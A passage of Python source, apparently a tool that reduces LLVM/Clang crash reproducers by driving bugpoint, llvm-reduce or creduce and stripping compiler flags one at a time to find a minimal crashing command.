bugpoint += ["-compile-custom", "-compile-command=" + str(reduce_script.absolute()), input_file] else: bugpoint += ["-run-llc-ia", input_file] tool_args = run_cmds[0][1:] # filter the tool args bugpoint += ["--tool-args", "--"] skip_next = False for arg in tool_args: if skip_next: skip_next = False continue elif "%s" in arg: continue elif arg.strip() == "-o": skip_next = True continue else: bugpoint.append(arg) bugpoint += extra_args print("About to run", bugpoint) print("Working directory:", os.getcwd()) try: env = os.environ.copy() env["PATH"] = str(self.args.bindir) + ":" + env["PATH"] try: run(bugpoint, env=env) except KeyboardInterrupt: print(red("\nCTRL+C detected, stopping bugpoint.", style="bold")) finally: print("Output files are in:", os.getcwd()) # TODO: generate a test case from the output files? if expected_output_file.exists(): print("Attempting to convert generated bitcode file to a test case...") dis = subprocess.run([str(self.args.llvm_dis_cmd), "-o", "-", str(expected_output_file)], stdout=subprocess.PIPE) # Rename instructions to avoid stupidly long names generated by bugpoint: renamed = subprocess.run([str(self.args.opt_cmd), "-S", "-o", "-", "--instnamer", "--metarenamer", "--name-anon-globals", str(expected_output_file)], stdout=subprocess.PIPE) self.create_test_case(renamed.stdout.decode("utf-8"), input_file.with_suffix(".test" + input_file.suffix), run_lines) def input_file_arg(self, input_file: Path): # bugpoint expects a script that takes the input files as arguments: return "''' + ' '.join(sys.argv[1:]) + '''" def is_reduce_script_interesting(self, reduce_script: Path, input_file: Path) -> bool: proc = subprocess.run([str(reduce_script), str(input_file)]) return proc.returncode == self.interesting_exit_code class RunLLVMReduce(ReduceTool): def __init__(self, args: "Options") -> None: super().__init__(args, "llvm-reduce", tool=args.llvm_reduce_cmd) # bugpoint wants a non-zero exit code on interesting exit code self.interesting_exit_code = 0 # type: int self.not_interesting_exit_code = 1 # type: int def reduce(self, input_file, extra_args, tempdir, run_cmds: typing.List[typing.List[str]], run_lines: typing.List[str]): expected_output_file = Path.cwd() / (input_file.name + "-reduced.ll") if expected_output_file.exists(): print("bugpoint output file already exists: ", bold(expected_output_file)) if input("Delete it and continue? [Y/n]").lower().startswith("n"): die("Can't continue") else: expected_output_file.unlink() # This is also needed when reducing infinite loops since otherwise bugpoint will just freeze reduce_script = self._create_reduce_script(tempdir, input_file.absolute(), run_cmds) llvm_reduce = [self.tool, "--test=" + str(reduce_script.absolute()), "--output=" + str(expected_output_file), input_file] llvm_reduce += extra_args print("About to run", llvm_reduce) print("Working directory:", os.getcwd()) try: env = os.environ.copy() env["PATH"] = str(self.args.bindir) + ":" + env["PATH"] try: run(llvm_reduce, env=env) except KeyboardInterrupt: print(red("\nCTRL+C detected, stopping llvm-reduce.", style="bold")) finally: print("Output files are in:", os.getcwd()) # TODO: generate a test case from the output files? if expected_output_file.exists(): # print("Renaming functions in test...") # renamed = subprocess.run([str(self.args.opt_cmd), "-S", "-o", "-", "--instnamer", "--metarenamer", # "--name-anon-globals", str(expected_output_file)], stdout=subprocess.PIPE) # self.create_test_case(renamed.stdout.decode("utf-8"), input_file.with_suffix(".test" + input_file.suffix), run_lines) self.create_test_case(expected_output_file.read_text("utf-8"), input_file.with_suffix(".test" + input_file.suffix), run_lines) def input_file_arg(self, input_file: Path): # llvm-reduce expects a script that takes the input files as arguments: return "''' + ' '.join(sys.argv[1:]) + '''" def is_reduce_script_interesting(self, reduce_script: Path, input_file: Path) -> bool: proc = subprocess.run([str(reduce_script), str(input_file)]) return proc.returncode == self.interesting_exit_code class RunCreduce(ReduceTool): def __init__(self, args: "Options") -> None: super().__init__(args, "creduce", tool=args.creduce_cmd) self.exit_statement = "&& exit 0" # creduce wants a zero exit code on interesting test cases self.interesting_exit_code = 0 self.not_interesting_exit_code = 1 def reduce(self, input_file: Path, extra_args, tempdir, run_cmds: typing.List[typing.List[str]], run_lines: typing.List[str]): reduce_script = self._create_reduce_script(tempdir, input_file.absolute(), run_cmds) creduce = ["time", str(self.tool), str(reduce_script), str(input_file), "--timing"] + extra_args # This is way too verbose if self.args.extremely_verbose: creduce.append("--print-diff") print("About to run", creduce) try: # work around https://github.com/csmith-project/creduce/issues/195 for released versions of creduce shutil.copy(str(input_file), str(Path(tempdir, input_file.name))) run(creduce, cwd=tempdir) except KeyboardInterrupt: print(red("\nCTRL+C detected, stopping creduce.", style="bold")) # write the output test file: print("\nDONE!") self.create_test_case(input_file.read_text(encoding="utf-8"), input_file.with_suffix(".test" + input_file.suffix), run_lines) def input_file_arg(self, input_file: Path): # creduce creates an input file in the test directory with the same name as the original input return input_file.name def is_reduce_script_interesting(self, reduce_script: Path, input_file: Path) -> bool: if self.args.verbose: return self.__is_reduce_script_interesting(reduce_script, input_file) else: return True # creduce checks anyway, this just wastes time @staticmethod def __is_reduce_script_interesting(reduce_script: Path, input_file: Path) -> bool: with tempfile.TemporaryDirectory() as tmpdir: shutil.copy(str(input_file), str(Path(tmpdir, input_file.name))) proc = subprocess.run([str(reduce_script), str(input_file)], cwd=tmpdir) return proc.returncode == 0 class SkipReducing(ReduceTool): def __init__(self, args: "Options") -> None: super().__init__(args, "noop", tool=Path("/dev/null")) def reduce(self, input_file, extra_args, tempdir, run_cmds: typing.List[typing.List[str]], run_lines: typing.List[str]): self.create_test_case("Some strange reduced test case\n", input_file.with_suffix(".test" + input_file.suffix), run_lines) def input_file_arg(self, input_file: Path) -> str: raise NotImplemented() class Options(object): # noinspection PyUnresolvedReferences def __init__(self, args: argparse.Namespace) -> None: self.verbose = args.verbose # type: bool self.timeout = args.timeout # type: int self.extremely_verbose = args.extremely_verbose # type: bool self.bindir = Path(args.bindir) self.args = args self.no_initial_reduce = args.no_initial_reduce # type: bool self.crash_message = args.crash_message # type: str self.llvm_error = args.llvm_error # type: bool # could also be an LLVM error or Address Sanitizer error that returns a non-crash exit code self.expected_error_kind = None # type: ErrorKind if self.llvm_error: self.expected_error_kind = ErrorKind.FATAL_ERROR if args.infinite_loop: if not self.timeout: self.timeout = 30 self.expected_error_kind = ErrorKind.INFINITE_LOOP @property def clang_cmd(self): return self._get_command("clang") @property def opt_cmd(self): return self._get_command("opt") @property def not_cmd(self): return self._get_command("not") @property def llc_cmd(self): return self._get_command("llc") @property def llvm_dis_cmd(self): return self._get_command("llvm-dis") @property def bugpoint_cmd(self): return self._get_command("bugpoint") @property def llvm_reduce_cmd(self): return self._get_command("llvm-reduce") @property def creduce_cmd(self): # noinspection PyUnresolvedReferences creduce_path = self.args.creduce_cmd or shutil.which("creduce") if not creduce_path: die("Could not find `creduce` in $PATH. Add it to $PATH or pass --creduce-cmd") return Path(creduce_path) def _get_command(self, name): result = Path(getattr(self.args, name + "_cmd", None) or Path(self.bindir, name)) if not result.exists(): die("Invalid `" + name + "` binary`", result) return result class Reducer(object): def __init__(self, parser: argparse.ArgumentParser) -> None: self.args, self.reduce_args = parser.parse_known_args() if self.args.extremely_verbose: self.args.verbose = True global options options = Options(self.args) self.options = options self.subst_handler = LitSubstitutionHandler(options) self.testcase = Path(self.args.testcase) # RUN: lines to add to the test case self.run_lines = [] # type: typing.List[str] # the lines without RUN: suitably quoted for passing to a shell self.run_cmds = [] # type: typing.List[typing.List[str]] self.reduce_tool = None # type: ReduceTool # returns the real input file def parse_RUN_lines(self, infile: Path) -> Path: is_crash_reproducer = infile.suffix == ".sh" if is_crash_reproducer: verbose_print("Input file is a crash reproducer script") verbose_print("Finding test command(s) in", infile) with infile.open("r", errors="replace", encoding="utf-8") as f: if is_crash_reproducer: real_infile = self._parse_crash_reproducer(infile, f) else: real_infile = infile self._parse_test_case(f, infile) if len(self.run_cmds) < 1: die("Could not find any RUN: lines in", infile) return real_infile def _parse_crash_reproducer(self, infile, f) -> Path: real_in_file = None for line in f.readlines(): if line.strip().startswith("#"): continue command = shlex.split(line) if "clang" not in command[0]: die("Executed program should contain 'clang', but was", command[0]) source_file_index = -1 source_file_name = command[source_file_index] source_file = infile.with_name(source_file_name) while source_file_name.startswith("-"): print("WARNING: crash reproducer command line probably does not end with the input file", "name: got", blue(source_file_name), "which is probably not a file!") source_file_index = source_file_index - 1 source_file_name = command[source_file_index] source_file = infile.with_name(source_file_name) if not source_file.exists(): continue if not source_file.exists(): die("Reproducer input file", source_file, "does not exist!") real_in_file = source_file verbose_print("Real input file is", real_in_file) command[source_file_index] = "%s" # output to stdout if "-o" not in command: print("Adding '-o -' to the compiler invocation") command += ["-o", "-"] # try to remove all unnecessary command line arguments command[0] = str(self.options.clang_cmd) # replace command with the clang binary command, real_in_file = self.simplify_crash_command(command, real_in_file.absolute()) assert Path(command[0]).is_absolute(), "Command must be absolute: " + command[0] quoted_cmd = quote_cmd(command) verbose_print("Test command is", bold(quoted_cmd)) self.run_cmds.append(command) if real_in_file.suffix == ".ll": comment_start = ";" elif real_in_file.suffix in (".S", ".s"): comment_start = "#" else: comment_start = "//" self.run_lines.append(comment_start + " RUN: " + quoted_cmd) if not real_in_file: die("Could not compute input file for crash reproducer") return real_in_file def _check_crash(self, command, infile, proc_info: subprocess.CompletedProcess=None, force_print_cmd=False) -> typing.Optional[ErrorKind]: # command = ["/tmp/crash"] full_cmd = command + [str(infile)] assert "%s" not in full_cmd, full_cmd if force_print_cmd: print("\nRunning", blue(quote_cmd(full_cmd))) else: verbose_print("\nRunning", blue(quote_cmd(full_cmd))) if self.args.reduce_tool == "noop": if proc_info is not None: proc_info.stderr = b"Assertion `noop' failed." print(green(" yes")) return ErrorKind.CRASH infinite_loop_timeout = self.options.timeout if self.options.timeout else 30 try: proc = subprocess.run(full_cmd, stdout=subprocess.DEVNULL, stderr=subprocess.PIPE, timeout=infinite_loop_timeout) error_kind = None if proc.returncode < 0 or proc.returncode == 254: error_kind = ErrorKind.CRASH else: verbose_print("Exit code", proc.returncode, "was not a crash, checking stderr for known error.") verbose_print("stderr:", proc.stderr) # treat fatal llvm errors (cannot select, etc)as crashes too # Also ASAN errors just return 1 instead of a negative exit code so we have to grep the message for kind in ErrorKind: if kind.value: verbose_print("Checking for", kind.value) if any(msg in proc.stderr for msg in kind.value): verbose_print("Crash was", kind) error_kind = kind break except subprocess.TimeoutExpired as e: proc = subprocess.CompletedProcess(e.args, -1, e.stdout, e.stderr) error_kind = ErrorKind.INFINITE_LOOP verbose_print("Running took longer than", infinite_loop_timeout, "seconds -> assuming infinite loop") if proc_info is not None: # To get the initial error message: proc_info.stdout = proc.stdout proc_info.stderr = proc.stderr proc_info.returncode = proc.returncode proc_info.args = proc.args if error_kind: if self.options.expected_error_kind and self.options.expected_error_kind != error_kind: print(red(" yes, but got " + error_kind.name + " instead of " + self.options.expected_error_kind.name)) return None crash_message_found = not self.options.crash_message or (self.options.crash_message in proc.stderr.decode("utf-8")) if error_kind == ErrorKind.INFINITE_LOOP or crash_message_found: print(green(" yes")) return error_kind else: print(red(" yes, but with a different crash message!")) print("Note: Expected crash message '", bold(self.options.crash_message), "' not found in:\n", proc.stderr.decode("utf-8"), sep="") return None print(red(" no")) return None @staticmethod def _filter_args(args, *, noargs_opts_to_remove=list(), noargs_opts_to_remove_startswith=list(), one_arg_opts_to_remove=list(), one_arg_opts_to_remove_if=None): if one_arg_opts_to_remove_if is None: one_arg_opts_to_remove_if = dict() result = [] skip_next = False def should_remove_arg(option, value): for a, predicate in one_arg_opts_to_remove_if.items(): if option == a: verbose_print("Testing predicate", predicate, "for arg", option, "on", value) if predicate(value): return True return False for i, arg in enumerate(args): if skip_next: skip_next = False continue if any(arg == a for a in noargs_opts_to_remove) or any(arg.startswith(a) for a in noargs_opts_to_remove_startswith): continue if any(arg == a for a in one_arg_opts_to_remove): skip_next = True continue if (i + 1) < len(args) and should_remove_arg(arg, args[i + 1]): skip_next = True continue # none of the filters matches -> append to the result result.append(arg) return result def _try_remove_args(self, command: list, infile: Path, message: str, *, extra_args: list=None, **kwargs): new_command = self._filter_args(command, **kwargs) print(message, end="", flush=True) if extra_args: new_command += extra_args if new_command == command: print(green(" none of those flags are in the command line")) return command if self._check_crash(new_command, infile): return new_command return command @staticmethod def _infer_crash_message(stderr: bytes): print("Inferring crash message from", stderr) if not stderr: return None simple_regexes = [re.compile(s) for s in ( r"Assertion `(.+)' failed.", # Linux assert() r"Assertion failed: \(.+\),", # FreeBSD/Mac assert() r"UNREACHABLE executed( at .+)?!", # llvm_unreachable() # generic code gen crashes (at least creduce will keep the function name): r"LLVM IR generation of declaration '(.+)'", r"Generating code for declaration '(.+)'", r"LLVM ERROR: Cannot select: (.+)", r"LLVM ERROR: Cannot select:", r"LLVM ERROR: (.+)", r"\*\*\* Bad machine code: (.+) \*\*\*", )] regexes = [(r, 0) for r in simple_regexes] # For this crash message we only want group 1 # TODO: add another grep for the program counter regexes.insert(0, (re.compile(r"ERROR: (AddressSanitizer: .+ on address) 0x[0-9a-fA-F]+ (at pc 0x[0-9a-fA-F]+)"), 1)) # only get the kind of the cannot select from the message (without the number for tNN) regexes.insert(0, (re.compile(r"LLVM ERROR: Cannot select: (t\w+): (.+)", ), 2)) # This message is different when invoked as llc: it prints LLVM ERROR instead # so we only capture the actual message regexes.insert(0, (re.compile(r"fatal error: error in backend:(.+)"), 1)) # same without colour diagnostics: regexes.insert(0, (re.compile("\x1b\\[0m\x1b\\[0;1;31mfatal error: \x1b\\[0merror in backend:(.+)"), 1)) # Any other error in backed regexes.append((re.compile(r"error in backend:(.+)"), 1)) # final fallback message: generic fatal error: regexes.append((re.compile(r"fatal error:(.+)"), 0)) for line in stderr.decode("utf-8").splitlines(): # Check for failed assertions: for r, index in regexes: match = r.search(line) if match: message = match.group(index) if "\x1b" in message: message = message[:message.rfind("\x1b")] print("Inferred crash message bytes: ", message.encode("utf-8")) return message return None def simplify_crash_command(self, command: list, infile: Path) -> tuple: new_command = command.copy() assert new_command.count("%s") == 1, new_command new_command.remove("%s") # Remove -mllvm options that no longer exist def is_old_llvm_option(opt: str): # -cheri-cap-table=true/false was replace with -mllvm -cheri-cap-table-abi= if opt == "-cheri-cap-table" or opt.startswith("-cheri-cap-table="): return True return False new_command = self._filter_args(new_command, one_arg_opts_to_remove_if={"-mllvm": is_old_llvm_option}) print("Checking whether reproducer crashes with ", new_command[0], ":", sep="", end="", flush=True) crash_info = subprocess.CompletedProcess(None, None) self.options.expected_error_kind = self._check_crash(new_command, infile, crash_info, force_print_cmd=True) if not self.options.expected_error_kind: die("Crash reproducer no longer crashes?") verbose_print("Reducing a", self.options.expected_error_kind, "with message =", self.options.crash_message) verbose_print("Stderr was", crash_info.stderr) if not self.options.crash_message: if self.options.expected_error_kind == ErrorKind.INFINITE_LOOP: self.options.crash_message = "INFINITE LOOP WHILE RUNNING, THIS GREP SHOULD NEVER MATCH!" else: print("Attempting to infer crash message from process output") inferred_msg = self._infer_crash_message(crash_info.stderr) if inferred_msg: print("Inferred crash message as '" + green(inferred_msg) + "'") if not input("Use this message? [Y/n]").lower().startswith("n"): self.options.crash_message = inferred_msg else: print("Could not infer crash message, stderr was:\n\n") print(crash_info.stderr.decode("utf-8")) print("\n\n") if not self.options.crash_message: print("Could not infer crash message from crash reproducer.") print(red("WARNING: Reducing without specifying the crash message will probably result" " in the wrong test case being generated.")) if not input("Are you sure you want to continue? [y/N]").lower().startswith("y"): sys.exit() if new_command[0] == str(self.options.clang_cmd): new_command, infile = self._simplify_clang_crash_command(new_command, infile) elif new_command[0] == str(self.options.llc_cmd): # TODO: should be able to simplify llc crashes (e.g. by adding -O0, -verify-machineinstrs, etc) pass new_command.append("%s") # ensure that the command contains %s at the end return new_command, infile @staticmethod def list_with_flag_at_end(orig: list, flag: str) -> list: result = list(orig) while flag in result: result.remove(flag) result.append(flag) return result def _simplify_clang_crash_command(self, new_command: list, infile: Path) -> tuple: assert new_command[0] == str(self.options.clang_cmd) assert "-o" in new_command assert "%s" not in new_command full_cmd = new_command.copy() new_command = self._try_remove_args( new_command, infile, "Checking whether replacing optimization level with -O0 crashes:", noargs_opts_to_remove_startswith=["-O"], extra_args=["-O0"] ) new_command = self._try_remove_args( new_command, infile, "Checking whether compiling without -coverage-notes-file crashes:", one_arg_opts_to_remove=["-coverage-notes-file"] ) new_command = self._try_remove_args( new_command, infile, "Checking whether compiling without debug info crashes:", noargs_opts_to_remove=["-dwarf-column-info", "-munwind-tables", "-ggnu-pubnames"], one_arg_opts_to_remove=["-split-dwarf-file", "-split-dwarf-output"], noargs_opts_to_remove_startswith=["-debug-info-kind=", "-dwarf-version=", "-debugger-tuning=", "-fdebug-prefix-map="], ) # try emitting llvm-ir (i.e. frontend bug): print("Checking whether -emit-llvm crashes:", end="", flush=True) generate_ir_cmd = self.list_with_flag_at_end(new_command, "-emit-llvm") if "-cc1" in generate_ir_cmd: # Don't add the optnone attribute to the generated IR function generate_ir_cmd = self.list_with_flag_at_end(generate_ir_cmd, "-disable-O0-optnone") while "-emit-obj" in generate_ir_cmd: generate_ir_cmd.remove("-emit-obj") if self._check_crash(generate_ir_cmd, infile): print("Crashed while generating IR -> must be a", blue("frontend crash.", style="bold"), "Will need to use creduce for test case reduction") # Try to remove the flags that were added: new_command = generate_ir_cmd new_command = self._try_remove_args( new_command, infile, "Checking if it also crashes at -O0:", noargs_opts_to_remove=["-disable-O0-optnone"], noargs_opts_to_remove_startswith=["-O"], extra_args=["-O0"] ) return self._simplify_frontend_crash_cmd(new_command, infile) else: print("Must be a ", blue("backend crash", style="bold"), ", ", end="", sep="") if self.args.reduce_tool == "creduce": print("but reducing with creduce requested. Will not try to convert to a bugpoint test case") return self._simplify_frontend_crash_cmd(new_command, infile) else: print("will try to use bugpoint/llvm-reduce.") return self._simplify_backend_crash_cmd(new_command, infile, full_cmd) def _shrink_preprocessed_source(self, input_path, out_file): # The initial remove #includes pass takes a long time -> remove all the includes that are inside a #if 0 # This is especially true for C++ because there are so many #included files in preprocessed input with input_path.open("r", errors="replace", encoding="utf-8") as input_file: line_regex = re.compile(r'^#\s+\d+\s+".*".*') start_rewrite_includes = re.compile(r"^\s*#if\s+0\s+/\* expanded by -frewrite-includes \*/\s*") end_rewrite_includes = re.compile(r"^\s*#endif\s+/\* expanded by -frewrite-includes \*/\s*") in_rewrite_includes = False max_rewrite_includes_lines = 10 skipped_rewrite_includes = 0 for line in input_file.readlines(): if re.match(start_rewrite_includes, line): extremely_verbose_print("Starting -frewrite-includes-block:", line.rstrip()) assert not in_rewrite_includes assert skipped_rewrite_includes == 0 in_rewrite_includes = True continue elif re.match(end_rewrite_includes, line): extremely_verbose_print("Ending -frewrite-includes-block, skipped", skipped_rewrite_includes, "lines") assert in_rewrite_includes in_rewrite_includes = False skipped_rewrite_includes = 0 continue elif in_rewrite_includes: if skipped_rewrite_includes > max_rewrite_includes_lines: die("Error in initial reduction, rerun with --no-initial-reduce") extremely_verbose_print("Skipping line inside -frewrite-includes:", line.rstrip()) skipped_rewrite_includes += 1 continue elif line.lstrip().startswith("//"): continue # skip line comments # This appears to break creduce sometimes: elif re.match(line_regex, line): extremely_verbose_print("Removing # line directive:", line.rstrip()) continue else: out_file.write(line) out_file.flush() if self.args.extremely_verbose: verbose_print("Initial reduction:") subprocess.call(["diff", "-u", str(input_path), out_file.name]) pass def _simplify_frontend_crash_cmd(self, new_command: list, infile: Path): new_command = self._try_remove_args( new_command, infile, "Checking whether compiling without warnings crashes:", noargs_opts_to_remove=["-w"], noargs_opts_to_remove_startswith=["-W"], extra_args=["-w"]) # Try to make implicit int an error to generate more sensible test output # If we don't add this we get really obscure code that doesn't look like it should compile new_command = self._try_remove_args( new_command, infile, "Checking whether compiling with -Werror=implicit-int crashes:", noargs_opts_to_remove=["-w"], extra_args=["-Wimplicit-int", "-Werror=implicit-int"]) # speed up test case reduction by aborting the compilation on the first error new_command = self._try_remove_args( new_command, infile, "Checking whether compiling with -Wfatal-errors crashes:", noargs_opts_to_remove=["-w"], extra_args=["-Wfatal-errors"] ) # Removing all the #ifdefs and #defines that get added by the #included headers can speed up reduction a lot print("Generating preprocessed source") try: preprocessed = infile.with_name(infile.stem + "-pp" + infile.suffix) base_pp_command = self._filter_args(new_command, one_arg_opts_to_remove=["-o"], noargs_opts_to_remove=["-S", "-emit-llvm"]) base_pp_command += ["-E", "-o", str(preprocessed), str(infile)] no_line_pp_command = base_pp_command + ["-P"] verbose_print(no_line_pp_command) subprocess.check_call(no_line_pp_command) assert preprocessed.exists() print("Checking if preprocessed source (without line numbers)", preprocessed, "crashes: ", end="", flush=True) if self._check_crash(new_command, preprocessed): infile = preprocessed else: print(red("Compiling preprocessed source (without line numbers)", preprocessed, "no longer crashes, not using it. Will try with line numbers")) verbose_print(base_pp_command) subprocess.check_call(base_pp_command) assert preprocessed.exists() print("Checking if preprocessed source", preprocessed, "crashes: ", end="", flush=True) if self._check_crash(new_command, preprocessed): infile = preprocessed else: print(red("Compiling preprocessed source (with line numbers)", preprocessed, "no longer crashes, not using it.")) except Exception as e: print("Failed to preprocess", infile, "-> will use the unprocessed source ", e) # creduce wastes a lot of time trying to remove #includes and dead cases generated # by -frewrite-includes (if the preprocessed source no longer crashes) # We also try to remove the #line directives try: smaller = infile.with_name(infile.stem + "-smaller" + infile.suffix) with smaller.open("w", encoding="utf-8") as reduced_file: original_size = infile.stat().st_size self._shrink_preprocessed_source(infile, reduced_file) reduced_file.flush() new_size = smaller.stat().st_size percent_reduction = 100 - 100.0 * (new_size / original_size) print("Initial preprocessing: {} bytes -> {} bytes ({}% reduction)".format( original_size, new_size, percent_reduction)) if self._check_crash(new_command, smaller): infile = smaller else: print(red("Compiling processed preprocessed source", smaller, "no longer crashes, not using it.")) except Exception as e: print("Failed to shrink", infile, "-> will use the unprocessed source", e) if "-emit-obj" in new_command: new_command = self._try_remove_args( new_command, infile, "Checking whether emitting ASM instead of object crashes:", noargs_opts_to_remove=["-emit-obj"], extra_args=["-S"]) # check if floating point args are relevant new_command = self._try_remove_args( new_command, infile, "Checking whether compiling without floating point arguments crashes:", noargs_opts_to_remove=["-msoft-float"], one_arg_opts_to_remove=["-mfloat-abi"], one_arg_opts_to_remove_if={"-target-feature": lambda a: a == "+soft-float"} ) # check if math args are relevant new_command = self._try_remove_args( new_command, infile, "Checking whether compiling without math arguments crashes:", noargs_opts_to_remove=["-fno-rounding-math", "-fwrapv"]) # check if frame pointer args are relevant new_command = self._try_remove_args( new_command, infile, "Checking whether compiling without frame pointer argument crashes:", noargs_opts_to_remove=["-mdisable-fp-elim"], noargs_opts_to_remove_startswith=["-mframe-pointer="] ) new_command = self._try_remove_args( new_command, infile, "Checking whether compiling without PIC flags crashes:", one_arg_opts_to_remove=["-mrelocation-model", "-pic-level"], ) new_command = self._try_remove_args( new_command, infile, "Checking whether compiling without thread model flags crashes:", one_arg_opts_to_remove=["-mthread-model"], noargs_opts_to_remove_startswith=["-ftls-model=initial-exec"], ) new_command = self._try_remove_args( new_command, infile, "Checking whether compiling without -target-feature flags crashes:", one_arg_opts_to_remove=["-target-feature"], ) new_command = self._try_remove_args( new_command, infile, "Checking whether compiling without various MIPS flags crashes:", one_arg_opts_to_remove_if={"-mllvm": lambda a: a.startswith("-mips-ssection-threshold=") or a == "-mxgot" or a == "-mgpopt"} ) new_command = self._try_remove_args( new_command, infile, "Checking whether compiling without various CHERI flags crashes:", noargs_opts_to_remove=["-cheri-linker"], one_arg_opts_to_remove_if={"-mllvm": lambda a: a.startswith("-cheri-cap-table-abi=") or a.startswith("-mxcaptable")} ) new_command = self._try_remove_args( new_command, infile, "Checking whether compiling without -mrelax-all crashes:", noargs_opts_to_remove=["-mrelax-all"], ) new_command = self._try_remove_args( new_command, infile, "Checking whether compiling without -D flags crashes:", noargs_opts_to_remove=["-sys-header-deps"], one_arg_opts_to_remove=["-D"] ) new_command = self._try_remove_args( new_command, infile, "Checking whether compiling without include flags crashes:", noargs_opts_to_remove=["-nostdsysteminc", "-nobuiltininc"], ) new_command = self._try_remove_args( new_command, infile, "Checking whether compiling without function/data sections crashes:", noargs_opts_to_remove=["-ffunction-sections", "-fdata-sections"], ) new_command = self._try_remove_args( new_command, infile, "Checking whether compiling without -x flag crashes:", one_arg_opts_to_remove=["-x"] ) new_command = self._try_remove_args( new_command, infile, "Checking whether compiling without -std= flag crashes:", noargs_opts_to_remove_startswith=["-std="] ) if "-disable-llvm-verifier" in new_command: new_command = self._try_remove_args( new_command, infile, "Checking whether compiling without -disable-llvm-verifier crashes:", noargs_opts_to_remove=["-disable-llvm-verifier"]) if "-fcxx-exceptions" in new_command or "-fexceptions" in new_command: new_command = self._try_remove_args( new_command, infile, "Checking whether compiling without exceptions crashes:", noargs_opts_to_remove=["-fexceptions", "-fcxx-exceptions"]) new_command = self._try_remove_args( new_command, infile, "Checking whether misc C++ options can be removed:", noargs_opts_to_remove=["-fno-rtti", "-mconstructor-aliases", "-nostdinc++"]) new_command = self._try_remove_args( new_command, infile, "Checking whether misc optimization options can be removed:", noargs_opts_to_remove=["-vectorize-loops", "-vectorize-slp"]) new_command = self._try_remove_args( new_command, infile, "Checking whether addrsig/init-array options can be removed:", noargs_opts_to_remove=["-fuse-init-array", "-faddrsig"]) new_command = self._try_remove_args( new_command, infile, "Checking whether -ffreestanding can be removed:", noargs_opts_to_remove=["-ffreestanding"]) new_command = self._try_remove_args( new_command, infile, "Checking whether TLS/relocation model options can be removed:", noargs_opts_to_remove_startswith=["-ftls-model="], one_arg_opts_to_remove=["-mrelocation-model"]) new_command = self._try_remove_args( new_command, infile, "Checking whether -fgnuc-version= can be removed:", noargs_opts_to_remove_startswith=["-fgnuc-version="]) new_command = self._try_remove_args( new_command, infile, "Checking whether -target-cpu option can be removed:", one_arg_opts_to_remove=["-target-cpu"]) new_command = self._try_remove_args( new_command, infile, "Checking whether -target-abi option can be removed:", one_arg_opts_to_remove=["-target-abi"]) # try to remove some arguments that should not be needed new_command = self._try_remove_args( new_command, infile, "Checking whether misc diagnostic options can be removed:", noargs_opts_to_remove=["-disable-free", "-discard-value-names", "-masm-verbose", "-fdeprecated-macro", "-fcolor-diagnostics"], noargs_opts_to_remove_startswith=["-fdiagnostics-", "-fobjc-runtime="], one_arg_opts_to_remove=["-main-file-name", "-ferror-limit", "-fmessage-length", "-fvisibility", "-target-linker-version"] ) return new_command, infile def _simplify_backend_crash_cmd(self, new_command: list, infile: Path, full_cmd: list): # TODO: convert it to a llc commandline and use bugpoint assert "-emit-llvm" not in full_cmd assert "-o" in full_cmd command = full_cmd.copy() irfile = infile.with_name(infile.name.partition(".")[0] + "-bugpoint.ll") command[command.index("-o") + 1] = str(irfile.absolute()) if "-discard-value-names" in command: command.remove("-discard-value-names") command = self.list_with_flag_at_end(command, "-emit-llvm") command = self.list_with_flag_at_end(command, "-disable-O0-optnone") command = self.list_with_flag_at_end(command, "-O0") print("Generating IR file", irfile) try: verbose_print(command + [str(infile)]) subprocess.check_call(command + [str(infile)]) except subprocess.CalledProcessError: print("Failed to generate IR from", infile, "will have to reduce using creduce") return self._simplify_frontend_crash_cmd(new_command, infile) if not irfile.exists(): die("IR file was not generated?") llc_args = [str(self.options.llc_cmd), "-o", "/dev/null"] # TODO: -o -? cpu_flag = None # -mcpu= only allowed once! pass_once_flags = set() # Some crash messages only happen with verify-machineinstrs: pass_once_flags.add("-verify-machineinstrs") skip_next = False optimization_flag = "-O2" for i, arg in enumerate(command): if skip_next: skip_next = False continue if arg == "-triple" or arg == "-target": # assume well formed command line llc_args.append("-mtriple=" + command[i + 1]) # forward all the llvm args elif arg == "-mllvm": llvm_flag = command[i + 1] if llvm_flag == "-cheri128": cpu_flag = "-mcpu=cheri128" llc_args.append("-mattr=+cheri128") else: pass_once_flags.add(llvm_flag) skip_next = True elif arg == "-target-abi": llc_args.append("-target-abi") llc_args.append(command[i + 1]) skip_next = True elif arg == "-target-cpu": cpu_flag = "-mcpu=" + command[i + 1] skip_next = True elif arg == "-target-feature": llc_args.append("-mattr=" + command[i + 1]) skip_next = True elif arg == "-mrelocation-model": llc_args.append("-relocation-model=" + command[i + 1]) skip_next = True elif arg == "-mthread-model": llc_args.append("-thread-model=" + command[i + 1]) skip_next = True elif arg == "-msoft-float": llc_args.append("-float-abi=soft") elif arg.startswith("-vectorize"): llc_args.append(arg) elif arg.startswith("-O"): if arg == "-Os": arg = "-O2" # llc doesn't understand -Os optimization_flag = arg if cpu_flag: llc_args.append(cpu_flag) llc_args.append(optimization_flag) llc_args.extend(pass_once_flags) print("Checking whether compiling IR file with llc crashes:", end="", flush=True) llc_info = subprocess.CompletedProcess(None, None) if self._check_crash(llc_args, irfile, llc_info): print("Crash found with llc -> using llvm-reduce followed by bugpoint which is faster than creduce.") self.reduce_tool = self.get_llvm_ir_reduce_tool() return llc_args, irfile if self._check_crash(llc_args + ["-filetype=obj"], irfile, llc_info): print("Crash found with llc -filetype=obj -> using llvm-reduce followed by bugpoint which is faster than creduce.") self.reduce_tool = self.get_llvm_ir_reduce_tool() return llc_args + ["-filetype=obj"], irfile print("Compiling IR file with llc did not reproduce crash. Stderr was:", llc_info.stderr.decode("utf-8")) print("Checking whether compiling IR file with opt crashes:", end="", flush=True) opt_args = llc_args.copy() opt_args[0] = str(self.options.opt_cmd) opt_args.append("-S") opt_info = subprocess.CompletedProcess(None, None) if self._check_crash(opt_args, irfile, opt_info): print("Crash found with opt -> using llvm-reduce followed by bugpoint which is faster than creduce.") self.reduce_tool = self.get_llvm_ir_reduce_tool() return opt_args, irfile print("Compiling IR file with opt did not reproduce crash. Stderr was:", opt_info.stderr.decode("utf-8")) print("Checking whether compiling IR file with clang crashes:", end="", flush=True) clang_info = subprocess.CompletedProcess(None, None) bugpoint_clang_cmd = self._filter_args(full_cmd, noargs_opts_to_remove_startswith=["-xc", "-W", "-std="], one_arg_opts_to_remove=["-D", "-x", "-main-file-name"]) bugpoint_clang_cmd.extend(["-x", "ir"]) if self._check_crash(bugpoint_clang_cmd, irfile, clang_info): print("Crash found compiling IR with clang -> using llvm-reduce followed by bugpoint which is faster than 